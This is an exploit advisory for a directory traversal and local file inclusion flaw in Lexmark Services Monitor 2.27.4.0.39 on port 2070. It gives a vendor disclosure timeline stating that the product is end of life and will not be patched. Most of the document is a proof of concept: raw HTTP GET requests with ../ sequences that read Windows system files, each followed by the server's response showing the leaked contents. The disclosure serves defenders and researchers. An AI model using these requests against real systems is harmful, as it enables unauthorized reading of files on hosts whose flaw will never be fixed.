Lexmark Services Monitor 2.27.4.0.39 Directory Traversal

`# Exploit Title: Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal  
# Google Dork: N/A​  
# Date: 2019​-11-15  
# Exploit Author: Kevin Randall​  
# Vendor Homepage: https://www.lexmark.com/en_us.html​  
# Software Link: https://www.lexmark.com/en_us.html​  
# Version: 2.27.4.0.39 (Latest Version)​  
# Tested on: Windows Server 2012​  
# CVE : N/A  
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Vulnerability: Lexmark Services Monitor (Version 2.27.4.0.39) Runs on TCP Port 2070. The latest version is vulnerable to a Directory Traversal and Local File Inclusion vulnerability.​  
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Timeline:​  
Discovered on: 9/24/2019​  
Vendor Notified: 9/24/2019​  
Vendor Confirmed Receipt of Vulnerability: 9/24/2019​  
Follow up with Vendor: 9/25/2019​  
Vendor Sent to Engineers to confirm validity: 9/25/2019 - 9/26/2019​  
Vendor Confirmed Vulnerability is Valid: 9/26/2019​  
Vendor Said Software is EOL (End of Life). Users should upgrade/migrate all LSM with LRAM. No fix/patch will be made: 9/27/2019​  
Vendor Confirmed Signoff to Disclose: 9/27/2019​  
Final Email Sent: 9/27/2019​  
Public Disclosure: 11/15/2019​  
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PoC:​  
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GET /../../../../../../windows/SysWOW64/PerfStringBackup.ini HTTP/1.1​  
TE: deflate,gzip;q=0.3​  
Connection: TE, close​  
Host: 10.200.15.70:2070​  
User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20​  
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HTTP/1.0 200 OK​  
Server: rXpress​  
Content-Length: 848536​  
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​  
.​  
.​  
.​  
.[.P.e.r.f.l.i.b.].​  
.​  
.B.a.s.e. .I.n.d.e.x.=.1.8.4.7.​  
.​  
.L.a.s.t. .C.o.u.n.t.e.r.=.3.3.3.4.6.​  
.​  
.L.a.s.t. .H.e.l.p.=.3.3.3.4.7.​  
.​  
.​  
.​  
.[.P.E.R.F._...N.E.T. .C.L.R. .D.a.t.a.].​  
.​  
.F.i.r.s.t. .C.o.u.n.t.e.r.=.5.0.2.8.​  
.​  
.F.i.r.s.t. .H.e.l.p.=.5.0.2.9.​  
.​  
.L.a.s.t. .C.o.u.n.t.e.r.=.5.0.4.0.​  
.​  
.L.a.s.t. .H.e.l.p.=.5.0.4.1.​  
.​  
.​  
.​  
.[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g.].​  
.​  
.F.i.r.s.t. .C.o.u.n.t.e.r.=.4.9.8.6.​  
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GET /../../../../../windows/SysWOW64/slmgr/0409/slmgr.ini HTTP/1.1​  
TE: deflate,gzip;q=0.3​  
Connection: TE, close​  
Host: 10.200.15.70:2070​  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3​  
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HTTP/1.0 200 OK​  
Server: rXpress​  
Content-Length: 38710​  
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..[.S.t.r.i.n.g.s.].​  
.​  
.L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".i.p.k.".​  
.​  
.L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".I.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y. .(.r.e.p.l.a.c.e.s. .e.x.i.s.t.i.n.g. .k.e.y.).".​  
.​  
.L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".u.p.k.".​  
.​  
.L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".U.n.i.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y.".​  
.​  
.L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.=.".a.t.o.".​  
.​  
.L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.U.s.a.g.e.=.".A.c.t.i.v.a.t.e. .W.i.n.d.o.w.s.".​  
.​  
.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.=.".d.l.i.".​  
.​  
.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.=.".D.i.s.p.l.a.y. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".​  
.​  
.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.V.e.r.b.o.s.e.=.".d.l.v.".​  
.​  
.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.V.e.r.b.o.s.e.=.".D.i.s.p.l.a.y. .d.e.t.a.i.l.e.d. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".​  
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.L._.o.p.t.E.x.p.i.r.a.t.i.o.n.D.a.t.i.m.e.=.".x.p.r.".​  
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GET /../../../../../windows/system32/drivers/etc/services HTTP/1.1​  
TE: deflate,gzip;q=0.3​  
Connection: TE, close​  
Host: 10.200.15.70:2070​  
User-Agent: Opera/9.50 (Macintosh; Intel Mac OS X; U; de)​  
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HTTP/1.0 200 OK​  
Server: rXpress​  
Content-Length: 17463​  
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# Copyright (c) 1993-2004 Microsoft Corp.​  
#​  
# This file contains port numbers for well-known services defined by IANA​  
#​  
# Format:​  
#​  
# <service name> <port number>/<protocol> [aliases...] [#<comment>]​  
#​  
​  
echo 7/tcp​  
echo 7/udp​  
discard 9/tcp sink null​  
discard 9/udp sink null​  
systat 11/tcp users #Active users​  
systat 11/udp users #Active users​  
daytime 13/tcp​  
daytime 13/udp​  
qotd 17/tcp quote #Quote of the day​  
qotd 17/udp quote #Quote of the day​  
chargen 19/tcp ttytst source #Character generator​  
chargen 19/udp ttytst source #Character generator​  
ftp-data 20/tcp #FTP, data​  
ftp 21/tcp #FTP. control​  
ssh 22/tcp #SSH Remote Login Protocol​  
telnet 23/tcp​  
smtp 25/tcp mail #Simple Mail Transfer Protocol​  
time 37/tcp timserver  
`